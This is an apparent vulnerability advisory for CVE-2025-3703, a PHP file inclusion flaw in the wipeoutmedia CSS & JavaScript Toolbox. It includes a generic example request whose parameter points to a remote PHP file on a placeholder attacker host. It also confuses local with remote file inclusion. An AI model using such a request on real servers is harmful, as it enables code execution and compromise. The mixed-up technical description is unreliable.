Overview
The vulnerability identified as CVE-2025-3703 is a serious cybersecurity threat that affects the CSS & JavaScript Toolbox provided by wipeoutmedia. This flaw is related to the improper control of filename in PHP programs, which can be exploited to allow PHP Local File Inclusion. This vulnerability is significant because it may potentially lead to system compromise or data leakage if successfully exploited.
Vulnerability Summary
CVE ID: CVE-2025-3703
Severity: High (7.5 CVSS)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
wipeoutmedia CSS & JavaScript Toolbox | All versions till the issue was discovered
How the Exploit Works
The vulnerability is caused by an improper control of filename for include/require statement in PHP programs within the CSS & JavaScript Toolbox. An attacker can exploit this vulnerability by injecting a malicious PHP file into the include/require statement, leading to PHP Local File Inclusion. This allows the attacker to execute malicious scripts on the server, potentially leading to system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
POST /vulnerable/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.com/malicious_file.phpIn the above example, the attacker sends a POST request to a vulnerable endpoint on the target server. The ‘include_file’ parameter is set to a remote URL hosting the malicious PHP file. Once the request is processed by the server, the malicious PHP file is included and executed, potentially compromising the system.
